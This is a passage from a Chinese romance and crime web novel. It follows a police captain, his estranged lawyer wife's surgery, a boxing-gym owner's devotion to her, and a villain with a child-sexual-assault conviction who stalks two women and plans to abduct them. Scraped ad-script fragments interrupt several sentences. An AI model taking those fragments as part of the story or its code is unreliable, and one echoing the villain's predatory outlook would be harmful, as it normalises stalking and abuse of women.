正想着,一回头就看见李莉踩着点进来了,看起来和往常无异。 “你,跟我来一下。”小王来到李莉跟前,严肃地把她叫了出去。 “你昨天怎么回事啊?几点走的?不是说让你发个短信吗?”小王担惊受怕多半宿,一股脑问了出来。 “我记得关队不是口重吗?白粥估计他不爱喝,就叫了个24小时的便利店外卖,煮了点别的,耽误一些时间。太晚了又不好叫车,等我到家都2点多了,我估计你也睡了,就没打扰你。” 小王盯着李莉的眼睛,不似作伪。又想到这丫头平时看关昊就一脸崇拜的样子,倒也能做出这些事来,但是不合适,就是不合适。 “关队对咱们好,咱们也对关队好,这没问题。”小王语重心长地说:“但是得有个度,过了就不好了。” “我过什么了?我不就煮了碗粥么。”李莉不高兴。 “得,我也不说你了,田螺姑娘。老大醒了啊,昨天的事都不记得了,刚还打电话问我谁送他回去的呢。” “那你怎么说的啊?”李莉的眼睛飞快地看了小王一眼,有些不自然。 “我说我跟赵诚啊。” “没啦?”李莉看着小王问。 “啊。”小王打算糊弄过去,可李莉大眼睛忽闪着盯着他看,又有点过意不去:“不是,你说喝多了也不好看,在女孩面前,男人总得要面子嘛。我要说你也去了,那关哥看见你尴不尴尬?” “那有什么尴尬的,我又没干别的。” “你还想干什么?”小王唬道:“老大现在正烦心呢,别多事啊。” “知道啦——”李莉拖着长长的懒音,回办公室了。 关昊那头放下电话,心里也有几分怀疑,小王和赵诚,他们两个什么时候这么勤快了? 又看了眼桌上的字迹,看着有几分刚劲的样子,可还是像女孩子的字。 关昊到了单位,先去找科长聊了聊,余琛的案子始终是他一块心病。长治那边他还想接着查,可案子已经撤了,不能发公文请求当地的公安协助自己,单靠自己又不知道得查到猴年马月去。 所以问问科长在那边有没有认识的人,能帮个忙探探路也好。 科长给了他一个电话,关昊当面打通了,直说了自己的请求,对方也很痛快,答应先帮忙看看是不是有这么个人。 从科长办公室出来,关昊回到自己的工位,打开手机又看了看,除了几个群热闹,其他的聊天框都安静地很。 没有林茜的消息。 也不知道岳母怎么样了。 林茜这个小没良心的,关昊在心里骂道。又犹豫着要不直接给岳母打电话问问? 李莉看到关昊拿着手机不知在想啥,抽出一张刚写的结案报告,走过去给关昊看。 “关队,之前那个扰乱市场秩序罪的案子已经移送检察院了,这是我写的案件报告,您看一下。” “行,放这吧。”关昊说着拿起来,一看就感觉熟悉。这不是,早上那个字迹吗? “这是你写的吗?”关昊问。 “是啊。”李莉看着关昊,和平常一样。 “你跟我来。”关昊领着李莉到了一间空办公室里,斟酌着开口:“昨天晚上,你……” “我跟王哥和赵诚一起送您回去的。”李莉很干脆,又说:“王哥可能觉得太晚了,我去您家不太好,所以没说。” “那你怎么也跟着去了呢?他们俩大男人还搬不动我一个人?” “他俩哪会照顾人啊,万一你吐半路上了怎么整?有我在不是多个人帮忙。”李莉答得理直气壮。 “那我家也是你收拾的?”关昊又问道。 “是啊,王哥和赵诚把您送去屋里,我在厨房煮粥。反正等着也是等着,就顺手收拾了。垃圾还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是他俩拎出去的呢。” “哦。”李莉的回答都合理,关昊放松下来,以为他们是一起走的。又问了最后一个问题:“那我有没有说什么胡话?” 李莉猝然想起那句“林茜,别走。”嘴上却说:“您睡得可踏实了,王哥都叫不醒您。” “是,昨天喝的有点多。”关昊彻底放心下来。 “嫂子是不是要跟您离婚啊?”李莉又问道。 关昊的心一下提到嗓子眼:“谁跟你说的?” “上回嫂子来局里自己说的啊。”李莉眨着大眼说道。 “啊,那是……” “昨天我们送你回去,嫂子也没在家。” “她……回娘家住几天。我丈母娘病了。”关昊想到最近的事,顺嘴串了起来。 “哦。”李莉低下头,有点失落:“那周末校友日,您是不是就没时间回去了啊?” “什么校友日?”关昊问道。 “群里发了公告啊,周六校友日,欢迎大家回母校看看。您当初可是咱们学校的风云人物,我和赵诚毕业以后跟着您,您不知道别人有多羡慕我们。” 李莉和关昊一样,都是北京孩子,说话爱用“您”,小姑娘口齿又伶俐,一番话下来,说得关昊心情舒畅。 “也不一定,我看看吧。周六几点啊?”关昊给了个模棱两可的回复。 “上午10点,您要能抽出时间就去呗,赵诚也去。要不我先给您报上?” 周六上午,关昊果然回了警校。 系里出了一名老师先带他们参观校区。 带队老师还记得关昊,这个皮小子当年没少让他头疼,可他的体能、应变、观察能力又都是出类拔萃的,最重要的是,他是真有一颗热爱警察事业的心。 当年的桀骜青年如今已过而立,还当上了经侦支队的队长,老师大感欣慰。其他校友也有不少听过他名声的,参观结束后推他当校友代表上台讲话。 关昊最发怵的就是演讲,心里大呼要是张平来就好了,他擅长这个。嗯啊了几声,最后憋出一句:“没别的,就是要对得起身上的警徽,就是干!” “好!”李莉大喝一声,带头鼓掌。 其他人受到感染,也纷纷喝彩。 关昊看着台下真挚的笑脸,也激动起来,连日来的郁气一扫而空。 校友日的最后环节,大合影。 关昊被抓着拍了不少照片,人也开朗了不少。 李莉看关昊的眉头终于展开了,也高兴得很,眼睛弯成一对月牙,把手机递给赵诚:“快,给我和关队拍个合影!” 关昊刚空下来,就看到李莉像只兔子蹦了过来,凑到离他很近的地方比了个耶。 赵诚大喊:“看镜头!” 关昊也顺势对着镜头比了个耶。 回去路上,关昊拿出手机,发现林茜刚发了条信息:周四我带妈检查过了,今天刚出的结果,肺部多发性结节,很小,但数量比较多。下周我会带妈再去复查。谢谢你帮忙联系,也告诉你一声结果。 原来她没说是因为结果没出来。 下周再去复查?下周什么时候?她不是很忙吗,到底用不用自己帮忙? 关昊犹豫着要不要问一下,又觉得太丢脸。还是算了。 林茜放下手机,另一只手里拿着自己的检查结果。再过8天就要手术了,手术全麻,需要家属签字。 要告诉关昊吗? 36. 第 36 章 等了一会,看到关昊回了一个字:哦。 林茜收起检查结果,没告诉关昊。这是她自己的事,关昊和她已经没有关系了,就不要麻烦他了吧。 手机屏幕亮起,余琛问她这周来不来拳馆。 林茜回道:不去了,最近比较忙,周二要去杭州出差。 余琛这几天都没见到林茜,每次发信息给她,她都在忙。 又到周六,这次没等安娜问,余琛先问了林茜今天来不来练拳。 收到回信的余琛看着帮林茜准备的拳套,无奈地笑了下,又回道:好的,注意身体,别太辛苦。 何广生在馆里转了一圈,过来正看到老大对着一对拳套出神。 何广生一眼就看出,是Winning的比赛拳套,很亮眼的红色,价格高不说,在内地不好买到。如果是给初学者用,那真是相当奢侈了。 “哇,这是给林律师准备的吗?”何广生窜到余琛身边问道。 “嗯。”余琛看着何广生回答。 何广生趴在桌子上近距离端详拳套,10盎司,应该适合林律师。旁边还放了两卷黑色绑带用来缠手,各有4米,装备齐全。 不愧是老大,有备而来,何广生心里暗叹,不枉费自己拼命游说林律师来学拳。 可林茜自打买了100节课后就没来过了,要是其他会员这样,只出钱不上课倒也不错。但林律师不来,怎么和老大发展呢? 何广生又跟着担忧起来。 余琛看他皱着眉头不知在想些什么,笑笑不说话,打算去看看几个老会员。一回头,正看见康嫣然。 “嫣嫣。”余琛打招呼。 “琛哥,你都好久没来了。”康嫣然嗔道,像是抱怨,又像撒娇。 何广生看看老大,又看看康嫣然,这两个哪个都得罪不起,默默闭上嘴,减轻存在感。 “有点事回香港了。最近练得怎么样?安娜带你还可以吗?”余琛温和说道。 “不好,她们都不如你。” 康嫣然原本只跟余琛练拳的,可不知怎么回事,上周忽然同意可以试试其他教练,点名安娜。 但上过一次安娜的课之后又不来了,只是看到何广生时会打听余琛的下落。 “安娜是这里的王牌教练,口碑很好的。有什么地方你不满意吗?我看看能不能让她再改进。”余琛温和地解释。 最不满意的就是她不是你。 但这话康嫣然说不出口。 越过余琛的肩头看到桌上一对漂亮的拳套,明显是女款,康嫣然问道:“Winning的拳套?在哪买的,我转过很多家商店都没有。” “从香港带回来的,打算送给朋友。”余琛回道。 又想起那个人。连安娜这种只见过一次也对她赞不绝口的人。 “林小姐啊,人很好的,很聪明,动作一讲就会。又漂亮又努力,打拳不偷懒,还没架子,我是男人一定追她。”安娜上次上课时说。 “给林茜的吗?”康嫣然很少表达自己的想法,可是太久没见到余琛了,情绪上头,这次脱口而出。 何广生看气氛不对,赶紧出来打圆场:“林律师一来就买了100节课,大客户啊,又是咱们拳馆的合作律师,要维护一下关系的。” 余琛却察觉到康嫣然对林茜的敌意,问道:“你不喜欢她吗?” “对,我不喜欢她。她老公是警察,抓过你。她们两个我都不喜欢。”康嫣然不敢说出心里最隐秘的欲望,但也说了一部分讨厌林茜的实情。 “这不关她的事,我能出来,还是她帮的忙。”余琛替林茜辩解。 “可你不帮她就不会出事!你靠近她就倒霉!”康嫣然话已出口,索性破罐子破摔了。 “嫣嫣!”余琛严肃起来:“林小姐是我很重要的朋友,你怎么讲我都可以,但不可以诋毁她。” “你们都讨厌!”康嫣然丢下一句跑掉了。 何广生惊到楞在当地。他什么时候见过康嫣然发火啊?她平常连话都不怎么说的。 康嫣然跑回更衣室,换衣服,回家。 经过饮水机时,一个正在接水的黑瘦男人不着痕迹地抬头看了她一眼。 *** 晚上回到出租屋,雷劲拉上窗帘,扭开一盏暗黄色的灯。 一整面墙的照片在昏暗的光影里浮现。 大部分是康嫣然。 雷劲点了一支烟,没抽,放在烟灰缸上,让它静静地燃着。 雷劲从来不抽烟。 小时候家教严,父母管的很紧,零花钱也少。他最放纵的事,就是攒下一点钱偷偷跑去漫画屋看成人漫画。 他长得瘦弱,男孩子打架都不爱叫他,女生更看都不看他一眼,她们更喜欢球场上活力四射的运动小子,或者带着眼镜斯文白净的清秀少年。 谁会注意一个其貌不扬又沉默寡言的普通男生呢? 一直念到大二,父亲被裁员,家里愁云惨淡。雷劲做家教赚一点生活费。 学生是个正在读初中的小姑娘,人瘦高瘦高的,像一颗豆芽菜,头发有些黄,常年扎马尾,架着一副眼镜,说话声音小小的,是再老实不过的女孩。 在一个普通的周末,女孩的父亲在公司加班,母亲出门买菜。短短半个小时的时间,出事了。 后来雷劲在法庭上痛哭流涕,诉说女孩如何勾引他,让他犯下错误。女孩的母亲眼睛通红地看着他,像要把他生吞入腹。 雷劲被判了7年。 入狱后,因为身材单薄,又是侵犯幼女的罪名,雷劲成了监狱食物链的底端,人人都可以欺负他,偏偏他最弱。 那段时间真是生不如死。 连父母也不来看他。父母含辛茹苦供出一个大学生,竟然做下这样禽兽不如的事,早就和他断了关系。 直到两年多以后,杨福寿进来了。 有一次又被几个犯人欺负,要跪下擦干净他们鞋边的湿泥。雷劲稍稍迟缓,就惹来一顿狠揍。或许他不迟缓,这顿打也是躲不过的。就像之前一样,人家想打就打,根本不需要理由。 但预想中的虐打没有持续下去,杨福寿出手了。 “以多欺少啊,算什么男人。有本事单挑啊!”杨福寿轻轻松松地说。 早知道最近来了个硬茬子,正想找机会会会呢,自己送上门来了。狱霸一伙先是一个一个上,最后三个一起上,连狱霸本人都上阵,硬是没把杨福寿打趴下。 虽然杨福寿也挂了彩,但打架就是这样,狠的怕不要命的。 杨福寿明显是个狠到不要命的。 从此狱霸的地位易主。 雷劲则开始死心塌地跟着寿哥。 可寿哥似乎天生有领袖气质,他的身边很快又聚集起三四个马仔。 自己一如之前的命运,永远在边 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 角,永远不被看到。 这一次雷劲鼓起勇气向杨福寿示好,杨福寿玩味地看着他:“想跟我,跟有本事才行,阿猜,你上。” 雷劲还没反应过来,就被抡到了地上。 他明白了,想跟着寿哥,得能打。 他坚持了下来,变成寿哥身边一个人狠话不多的打手。 到出狱的时候,他回到父母家,才知道父母早就搬走了。很多邻居也不在了。路过一家杂货铺,看到镜子里的人,有丝诧异。 原来那个单薄羸弱的青年,早就变得阴沉狠戾,连自己都不识得了。 因为坐过牢,找不到什么正经工作,雷劲打打零工度日,游离在人群之外。 没多久,寿哥也出狱了,又找上他,说洪兴正值用人之际,问他愿不愿意跟自己干。 雷劲去了一次,感觉自己和这帮乌合之众不是一路人。他还记得,自己是个大学生,不是那些念个广告都要出白字的白痴。 寿哥也不勉强。过了段时间,又问他愿不愿意去泰国,看他在打架这事上挺有天赋,可以出钱送他去学泰拳,顺便帮自己打听点事。 这一去就是五年。 雷劲谈不上喜欢泰国,但比香港好,这里没人认识他。 只是寿哥要打听的事一直没有进展,寿哥也不催他。 直到一个月前,寿哥派他来了北京。 他知道,养兵千日用兵一时,自己派上用场的时候到了。 目标很明确:余琛、木西拳馆、他身边最亲近的人。 开始他以为是康嫣然。 一见到康嫣然,他沉寂已久的身体又开始悸动。 像,太像了,和当年那个女孩真像。 是他喜欢的那一款。 他默默拍下康嫣然训练的照片,在昏暗的出租房里反复回味,等待着寿哥发话的那一刻。 可是后来,他发现事情不对。有一个叫林茜的出现在了视野,余琛很在意她。 他是男人,他看得出来,余琛真正喜欢的人是林茜。于是墙上又多了林茜的照片。 他开始犹豫,自己只有一个人,要带走两个女人有点困难。尤其康嫣然出门经常有她老爸陪着,要下手难上加难。 没想到今天又听到一个大消息,林茜的老公居然是警察? 雷劲岂止悸动,简直兴奋起来。 这个世界上,他最讨厌警察。 搞警察的老婆…… 雷劲按捺住,按约定好的方式联系寿哥。可寿哥自从一周前就没有回信了。 雷劲登上游戏账号,看了看洪兴里跟他还算有交情的两个人。头像都灰着。 出事了? 雷劲搓着手指冷静下来,再等等。 一支烟燃尽了,灰黑色的余烬落在茶色的烟灰缸里。这是寿哥常抽的牌子。 雷劲没什么朋友,连父母也不理他了,真正相交的只有寿哥一个。他愿意为寿哥冒险。 而且这一次,雷劲很清楚,即使没有寿哥,这一票也一定会干。 余琛是寿哥的目标,但康嫣然和林茜,是自己的猎物。 雷劲心里的火苗又烧了起来。 有余琛,又有警察。单枪匹马不是对手。 得先想个办法先引开余琛。 七年牢狱,五年学拳。他别的没有,最多的就是耐心。 雷劲把主意又打回了泰国。 37. 第 37 章 第二天,雷劲主动找到何广生,说泰国泰拳协会预计在12月举办新一轮的周五格斗夜,是年度最大的赛事。余老板曾经在这里拿过两条金腰带,要不要考虑作为嘉宾回去参加一场表演赛,可以在业内增加拳馆的知名度。 何广生考虑到上次老大见义勇为产生的热度已经过去了,拳馆虽然生意还成,但老大最近在看房子,要攒老婆本了,谁会介意钱多赚一点呢?如果能打开市场,再开几家连锁,那就最好不过了。 何广生问道:“这个嘉宾,要对方邀请才行吧?” 雷劲立马说:“我也参加过周五格斗夜,认识那里的负责人,我可以帮忙联系。”讲得很诚恳。 何广生称赞他:“没想到你客户留不住,这方面还挺上道的。行,这个事就交给你了。” 何广生又把这事和余琛说了一下,要确认老大的时间嘛。 余琛知道阿生对拳馆的经营一向上心,简直是当自己家来打理。他也认为拳馆要长久发展,保持在业内的名声很重要,同意了。 周二余琛去机场送行,何婧识趣地走到一边。 余琛还像往常一样叮嘱:“别太辛苦,好好吃饭。” 林茜微笑地答应着。 可余琛总感觉林茜或许有什么事,今天的她太安静了。 “最近是不是遇到了什么麻烦?”林茜遇袭那个案子让余琛一直有心理阴影,总怕她再因为工作出事。 “我妈生病了,最近在陪她去医院检查。” “严重吗?有什么用得到我的地方,你尽管说。”余琛认真道。 “是肺部有点问题,不算很严重,有可能手术,也有可能保守治疗,还要看下周复查的情况。” “我陪你一起吧,多个人多份力。” “不用了。”林茜拒绝了,沉默了一下又解释:“我和关昊在办离婚手续了。我爸妈……比较传统,这段时间你不用过去帮忙,对你不太好。” 余琛听明白了,林茜是怕父母以为她离婚是余琛造成的,对他产生不好的印象。 余琛心里一阵感动,林茜不管在什么时候,都会替别人考虑。 “我不在乎的。”余琛温和地说:“你太辛苦了,我看得很不忍心。” 余琛是真的心疼,林茜一个瘦瘦的女孩子,好像风一吹就会倒,母亲生病,自己离婚,工作又这么辛苦,她要怎么扛过来。 “我挺好的,真要你帮忙的时候,也不会硬撑。”林茜看着余琛,笑容有些疲惫,可眼睛还是那么亮,亮到珍珠钻石,山河日月,都无法越过她的光彩。 余琛心里一阵悸动一阵酸涩,上前一步轻轻抱住了林茜:“那这个拥抱,就当老友送别。你早点回来,我煲汤给你喝,好不好?” 林茜笑笑,回抱着他:“好。” 杭州的案子开庭并不顺利。 因为是群体性案件,被告众多,周三从早上8点半开到下午5点半,只中间休息了1个小时。到将近日落,程序还没走完。 法官敲响法槌:“今天先到这里,明天上午8点半继续。休庭!” 林茜和其他被告的代理律师走出法庭,感到一阵头晕。 “没事吧,林律师?”旁边一个男律师眼疾手快,扶了林茜一把。 “没事,估计是低血糖,我包里有饼干,吃两片就好了。”林茜道了谢回道。 男律师也有同感:“是,这个强度太大了,我也早就饿了,硬撑到现在。你们女同志更辛苦。” 林茜在走廊里找了个最近的座位坐下,慢慢嚼着饼干,拿出手机来查看信息。 发现好几个未接来电,是妈妈的。 “糟了。”林茜一拍脑门。 庭审中各有状况都有可能发生,这次的二十来个被告中有几个口音极重,要很费力才能听清,大大拖慢了庭审和书记员记录的过程。但这几个人又能听得懂问话,也能表达清自己的想法,没到必须要请翻译的程度。 所以这次庭审的时长远远超出了林茜的预期,也就赶不上陪妈妈看病了。 林茜有些愧疚地点开微信,果然看到妈妈留言:“这是明天的车次。给你打了好几个电话都没接,上回说关昊忙,我就没给他打,你看到了回个电话。”后面是一张车票预定的截图。 关昊身体一向健康,极少生病。林茜以前总觉得,只要没有小孩,就不需要平衡工作和家庭,肯定是拼事业为主的。 这是第一次感受到夹在事业和家人之间的为难。 吃完饼干,平复了心绪,林茜先给关昊发了条信息:关昊,实在抱歉,我在杭州开庭,今天庭审没结束,明天要继续。如果你有时间,明天能不能请你去陪妈看病? 发完又转发了林妈发来的车次截图和看诊时间。 关昊如果能答应是最好的,如果他没时间,就联系老姚帮忙。林茜遇事总会想好planB。 关昊回了两个字:好的。 林茜松了一口气。 关昊等这条消息等了一个礼拜,终于等到了,当然立马答应下来,又觉得不能显得太主动,所以只矜持地发了句“好的。” 发完就想着林茜会怎么感谢他。 比如回来之后低头拉着他的手说“我还是不能没有你。” 或者靠在他肩膀上休息,什么都不说也很好。 最少最少,也得请他吃个饭,聊聊近况吧,最近的她称得上是杳无音讯。 还没想完,就看到林茜回了两个字:谢谢。 没了? 就这? 没良心没良心没良心。 关昊腹诽。 把手机扔到桌子上,人往后一仰,靠着椅背,对天花板叹息。 “关哥,下了班还不走啊?”小王正在收拾东西,听到声响回头看了一眼。 “嗯,不急。”回去也没事干。 “关队,嫂子还没回去吗?”李莉早就注意到了关昊,这时也走了过来。 “她啊,出差了,在杭州呢。”关昊还是盯着天花板。 “那您岳母康复了?恭喜啊。” 一句话提醒了关昊,关昊坐起来,对着旁边俩人说道:“我打个电话啊。” 李莉和小王不再吭声,好奇地看着关昊。 “喂,科长啊,不好意思啊下班又给您打电话。有这么个事,我丈母娘病了,明 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 天得去医院复查。我老婆又出差了,明天我能不能请一天假?” “哎,好嘞,谢谢科长,科长您忙着我不打扰了。”挂了电话一回头,看见俩人正看着自己。 “看什么呐?”关昊问。 “没看什么哈,关哥您真是中国好女婿!”小王伸出一个大拇指。 这两天小王还暗自替关昊担心来着,自己刚刚表白成功,正志得意满,就盼着老大也早日和嫂子和好。现在看来,应该是恢复正常了。小王真心替老大高兴。 李莉看不出什么表情,只说了句:“嫂子工作这么忙啊?” “是,她是她们所最年轻的合伙人,正是拼业绩的时候。”关昊虽然私下里不满妻子不顾家,但在外人面前还是维护的。而且想到妻子的优秀,也有一点小小的得意。 第二天复查的情况不错。医生说可以保守治疗,定期观察,每三个月来做一次B超。 林妈听到不用手术,眉头显而易见地松开了。 关昊扶着林妈出了诊室,林妈高兴地拍着关昊的手说:“你真是福星啊,你看你联系的这个专家就说不用手术了,我这心也踏实下来了。” 关昊安慰道:“本来也不是多严重的病,再说还有我们呢,您不用担心。” “是,是。”林妈点头应着:“林茜跟了你,真是好福气。” 见女婿没吱声,林妈的心里又有点不安。这段时间虽说俩人回去看她们比之前勤了,但总感觉小两口有点不对劲。 林妈有心问问,但毕竟是岳母和女婿,不是妈和亲闺女,到底隔了一层,有些话就不好出口。 林妈随关昊在医院的走廊里慢慢走着,状似不经意地问:“茜茜最近是不是挺忙呀,昨天我给她打了好几个电话也没接。” “对,她出差了。”关昊回道。 “哦,那体检也不知道她做了没有,上回她跟我来,我看她自己脸色也不太好,又说你最近也忙。年轻人上进是好事,也别太拼了。”林妈悠悠劝道。 “好嘞,妈,回头我也劝劝她。” 林茜不舒服吗?要不要问问呢? 关昊把林妈送到高铁站,回单位的路上还在想这个事。 进了办公室还没坐下,科长把他们叫去开会:“来活儿了。” 最近一个月,东北X市的公安局接到数人报案,报案人陆续向天福养老院缴纳了20~80万不等的养老预定金。 养老院承诺预缴了费用的老人60周岁之后可以免费入住公司提供的养老房,如果不入住,也可以委托公司代管转租,每月返还已缴费金额的1%,养老预定金可随时无条件退还。 但从今年6月开始,有老人陆续反映拿不到退费。 上周,当地公安以涉嫌犯非法吸收公众存款罪拘留了养老院的负责人,发现背后另有大老板,全国可能不只这一家,而初始资金来源于北京。 当地公安发函来请求协助调查。 科长:“小关,这个事就交给你负责吧。” “没问题,科长。” 骗老人的棺材本,着实可恶。 关昊一头扎进案子里,林茜的事抛到了脑后。 38. 第 38 章 关昊这边紧锣密鼓地忙了好几天,不知道林茜已经回来了。 余琛去机场接机,看林茜面色疲惫,当晚就煲了鸡丝燕窝给林茜补身体。 “其实不用这么麻烦的,咱们直接去老广私厨就可以。你又跑去拿食材,平白多走一段路。”林茜拿着汤匙小口喝着,和余琛聊天。 “不麻烦的,你出去那么多天,当然是早点回来休息,在自己家吃最好。”余琛笑笑说。 确实体贴。 林茜周五下午回来,先回家好好睡了一觉。余琛送她到门口后就去戴老板那拿了最好的食材,怕打扰她休息,傍晚才过来敲门。 林茜饱睡一觉,又喝了汤汤水水,面色也好了一些。 “后天和姚小姐拍摄,你会来吗?”余琛问道。 “我……可能去不了了,还有事要忙。”林茜犹豫了一下,还是没说自己要做手术的事。 “好,那成片一出来,我第一时间发给你。” 林茜笑道:“你倒是比老姚还上心。” “只是对这次拍摄上心,你的工作时不时就有危险,万一我来不及赶到,我希望你能会几招应急防身的招式。”余琛认真说道。 林茜心里一阵暖意,看着余琛点头:“嗯。” “那,明天的拳课,你大概也不会去了吧?留在家里好好休息。”余琛又问道。 “是啊。”要收拾去医院的行李了,林茜默默想。 手上的工作暂时交给了助理和搭档,有急事就打电话。周六林茜独自在家休息一天,周日提着行李去了医院办住院手续。 林茜考虑过了,这事还是找老姚帮忙吧。父母上了年纪,妈妈又病了,不要让她担心。 关昊那边不好再麻烦了。 余琛……现在还是朋友。 老姚也是十几年的朋友了,又是女性,帮忙也方便一点。 怕她到时候没时间,周六的晚上,林茜给老姚打了个电话,简单说了自己要做手术的事,请她周一上午过去签字。如果有其他地方要跑腿,也需要她帮个忙。 老姚答应下来。林茜离婚的事她是第一个知道的,也知道林妈最近在看病,心里禁不住为老友担忧:“你这病没事吧?最近事情都赶一块了,你也不容易。” “没事,医生说了,是微创手术。术后再观察两三天就可以出院了,加起来都用不了一周。”林茜反过来安慰道。 “真的不用告诉余琛吗?我看他挺关心你的。” “不了吧。”林茜低头,摆弄着手里的饼干盒子。 “那行,拍摄一结束我就过去看你。手术前一天最好也有人陪着。” 林茜心里很感动,老姚一直这么靠谱:“谢谢你啊。” “咱俩还用说这些!有什么要带的东西吗?” “没有了,我都准备好了。”林茜乖乖地说。 老姚又嘱咐几句,挂了电话。 第二天拍摄时,心里存了林茜的事,姚佳莉的精神就不太集中。余琛扮演偷袭她的坏人,按着规定的动作,姚佳莉本该因势利导,击中最近的要害后迅速逃跑的。 可姚佳莉的动作老是不标准,反复拍了好几次。有两回还差点摔倒,被余琛一把扶起来。 远处奶茶店等位区的手机悄无声音地按了几下拍摄键,余琛搂着老姚的画面被定格下来。 姚佳莉拖慢了进度,也有些不好意思,对着余琛说:“对不起啊,今天有点走神,耽误你时间了。” “没关系,错误示范也可以剪进去的,现场本来就会有各种情况发生。”余琛开解道。 老姚对余琛的好感又升了一级,现在善解人意的男人可不多了,林茜到底在犹豫什么呢? 看老姚欲言又止的模样,余琛问:“你是不是有什么话想说?” 话到嘴边,老姚又觉得林茜一向是个有主意的人,自己更改她的决定是不是不太好。 余琛见老姚纠结的样子,试探着问道:“是不是和茜茜有关?” 这一声“茜茜”让老姚忽然想起林茜搬家时,余琛穿着围裙去厨房做饭的模样。 总感觉她们早晚要在一起的,自己就当一回好人吧! 老姚下定决心:“茜茜要做手术了,你知道吗?” 半小时后,余琛和老姚赶到了医院。 拍摄团队和老姚很熟悉了,看她今天状态不好,同意改天再拍。余琛一路把车开得飞快,到了医院后迅速跑到护士台打听林茜住的病房,老姚在后面跟得呼哧带喘。 到了病房前,余琛反而慢了下来。手有些微不可查地颤抖,余琛平复一下呼吸,敲了敲门。 里面传来林茜的声音:“请进。” 林茜穿着宽大的病号服坐在床上,面前摊着一本书。长发散下来,没化妆,看着比实际年龄要小一些,此刻正惊讶地看着他。 “你怎么来了?” 刚说完,老姚喘着粗气进了门。 林茜明白过来,看着余琛先安慰道:“我没事。” 余琛听到这句话,不自觉攥紧的拳头松开了,低下头,像在隐忍着什么,慢慢走到她面前。 在病床前蹲下去,又抬起头来仰视着林茜:“怎么没告诉我呢?” 林茜看他眼角微红,心里一阵触动:“这只是个小手术,很小的,几天就出院了……” 还没说完,余琛伸出手勾过她的脖颈,抱住了她。 一只手还不够,另一只手也环上去,把林茜整个圈在怀里。 林茜被包裹在余琛的气息里,耳边传来余琛的话:“我怕你出事……真的怕。” 林茜,他最珍视的人,他一生的归处,怎么总是有危险,为什么自己总是不够强,不能照顾好她。 余琛在心里责怪着自己,手上抱得更紧了一点。 老姚识趣地走出病房,关上门。 “我不会有事的。”林茜温和地说,双手也轻轻拢住了余琛。 时间默默流淌,感受着怀里的人温热的体温,均匀的呼吸,余琛的心终于慢慢平静下来。 “为什么没告诉我呢?”余琛有点后知后觉的难过。 人真是贪心啊。刚刚重逢时,能见到林茜就已经是老天的恩赐,根本不敢奢望别的。 到了如今,他竟然都可以嗔怪一句为什么不告诉他。余琛看见自己内心的欲望像漫天大雾,将他整个人吞噬。 他这一生,都不可以再没有林茜。 林茜却有点不好意思:“毕竟是妇科疾病嘛,你到底是个男人,就……有点不方便。” “如果是关昊,也会不方便吗?”余琛闷着声没头没脑地问 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了这么一句。 林茜莫名其妙:“关昊?都离婚了啊,当然也不能告诉他了。” 余琛听了这句话,心情却好了一点。 那么,自己排在姚佳莉后面,关昊之前。 还不算太糟。 “你这里,晚上需要有人陪吧?”余琛这时才抬头环视了一下病房。是个小单间,只有一个床位,一个小小的沙发,两个柜子,布置得还算温馨。 林茜知道他什么意思,回道:“不需要的,晚上会有护士过来巡夜。输液、吃药、监测体温,都有固定的流程,医院会安排好。有什么事按一下床头的呼叫器,她们就会过来。” 听起来很妥善,可余琛就是不放心。 “你手术之后行动不方便,起夜怎么办?” “这是小手术啦,第二天就可以下床了,我扶着床边慢慢走就是了。” 可余琛看病房里并没有洗手间,这意味着她晚上要一个人出去走很远。 “不行,要有人陪。”余琛坚持道。 林茜正要反驳,门又被敲响了,林茜:“请进。” 老姚晃了进来:“不是打扰你们啊,就是说一声,家属签字那边我签过啦。医生告知了一些风险,那些你都看过了吧?” 林茜点点头:“嗯,是例行公事。手术前都会有这一步的。” 余琛还是有些担心:“真的没事吗?要不要再找专家看一下?” 林茜:“不用,这次就是专家看诊,专家主刀的,我相信他。” 余琛也不再反对,又提起陪床的事。 没等林茜说话,姚佳莉插了进来:“有道理,洗手间离这还挺远的,在走廊那一头呢,你刚动了手术一个人走过去也太费劲了。再说万一你输着液怎么办,次次都叫护士吗?” 又说:“要我看,我跟余琛轮班得了,他白班我夜班,这样什么都不耽误,你也有人陪着。你说呢?”老姚看向余琛。 余琛立马附和:“这样很好。” 林茜拗不过两个人,答应下来。 当晚老姚就留了下来。余琛回去把拳馆的事全交给阿生,自己专心准备这几天的吃食,搜罗照顾术后病人的注意事项。 手术很顺利。休息一晚之后,老姚和余琛换了班,打着哈欠回去了。 林茜在余琛的搀扶下慢慢地在走廊里走着,像一对迟暮的恋人。 余琛满心满眼都是林茜。知道她要手术那天骤然产生的恐惧仿佛一个黑洞,要吸走他所有的生机,如今看着林茜一点点好起来也跟着慢慢弥合了。 住院部很安静,秋天的阳光透过窗子落到人身上,暖暖的,一点也不刺眼,余琛生出一种岁月静好的感觉。 余琛白天在医院陪林茜,晚上回去就对家里一顿改装。木质的椅子上都准备了厚厚的坐垫,淋浴间放置了座椅。还买了把摇椅放在阳台,方便林茜晒太阳。 余琛已经计划好了,一出院就把林茜接过去。她现在身体虚弱,需要好好调养。姚佳莉工作很忙,吃饭也不规律,不方便照顾她,住到自己这最好。 知道林茜怕麻烦别人,余琛也没提,等出院时就说全都准备好了,东西不用也是浪费了。这样再和林茜说,不容易被拒绝。 没想到出院那一天,有人来接她了。 林爸来了。 39. 第 39 章 林爸是昨天晚上接到女儿电话的。说是病了,但不严重,明天就出院了,关昊最近忙,林茜想回家休息几天。 林爸请了假,开车来接女儿,林妈留在家里做饭。 到了医院才知道,原来女儿刚做完手术,林爸的表情严肃起来,明显带了担忧。 一看到余琛,林爸又露出几分探测的目光,但语气还是很客气。在林茜介绍之后,林爸感谢地说:“多亏了你和小姚,等茜茜好点了,我们再专门请你们吃饭。” 姚佳莉是个热络人,马上说:“叔叔您别客气,我们都认识十几年了,这都是应该的。” 余琛也跟着说:“林叔不用客气。”恋恋不舍地送走了林茜。 